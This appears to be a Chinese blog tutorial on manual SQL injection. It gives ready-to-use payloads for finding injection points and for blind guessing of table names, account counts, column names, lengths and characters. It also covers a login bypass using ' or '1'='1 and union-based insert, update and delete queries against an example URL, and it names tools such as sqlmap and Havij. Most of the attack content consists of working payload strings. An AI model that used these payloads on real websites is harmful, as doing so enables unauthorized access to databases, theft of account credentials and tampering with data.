深入浅出SQL注入

1.判断有无注入点
数字型:and 1=1 and 1=2 和 ‘
字符型:’and ‘1’=’1? ‘and ‘1’=’2
搜索型:关键字%’ and 1=1 and ‘%’=’%??? 关键字%’ and 1=2 and ‘%’=’%
大部分数据库都有用单行注释符(–)和多行注释符(/**/),在不需要执行后面操作的地方,可以添加相对应的注释符。
盲注的情况下,用上面sql语句看返回页面是看不到页面异常信息的。
2.猜表
一般的表的名是admin username password tables等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) –判断是否存在admin这张表
3.猜帐号数目
如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称
在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
5.猜解各个字段的长度
猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a)
–猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)
–猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
7.后台弱口令类型SQL注入
原始SQL:SELECT * FROM Users WHERE Username=’$username’ AND Password=’$password’
$username = 1′ or ‘1’=’1
$password=1′ or ‘1’=’1
然后sql查询会变为下面新的查询语句
SELECT * FROM Users WHERE Username=’1′ OR ‘1’=’1′ AND Password=’1’OR ‘1’=’1′
顺便回忆一个sql注入的过程,某注入点已经成立,想做增删改查的操作。

假设注入点为?http://0535code.com/?p=635 And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from member
以上是查询语句了,要构造增加,删除,修改语句都要通过上面联合做查询。
增加:http://0535code.com/?p=635 And 1=2 union?INSERT INTO members (username,password) VALUES (‘demo’,’demo’);
修改:http://0535code.com/?p=635 And 1=2 union UPDATE member SET username = ‘name’ WHERE username = ‘demo’;
删除:http://0535code.com/?p=635 And 1=2 union DELETE FROM members WHERE username = ‘demo’ ;
或者也可以把查询语句放union,结束的时候加个分号(;),表示结束,再重新添加构造的sql语句。

通过以上几个语句,有几个疑问,验证了下答案。
问题一:在猜解到了数据库表名和列名,是否可以添加记录?
原始sql语句:INSERT INTO `test`.`users` (`id`, `username`, `password`, `name`) VALUES (NULL, ‘1111’, ‘2222’, ‘3333’);
测试sql语句:INSERT INTO `test`.`users` ( `name`) VALUES ( ‘ccc’);
经过测试是可行的,只要猜到表名和字段名就可以增删改查操作了。

问题二:select 1,2,3,4,5,6,7,8,9,10 from member,中间列数怎么用呢?
select name from users where 1 and 1=2 union select 1 , 2, 3,4,5,6 from users
如果为6个字段的话,才会正常返回值,通过这个确定列数,确定列数后,可以猜解字段所在的列,从1替换到10看返回数据。

通常sql注入,会采用sqlmap,pangolin,Havij验证,有些需要手工构造后,通过工具爆库。

发表评论

电子邮件地址不会被公开。 必填项已用*标注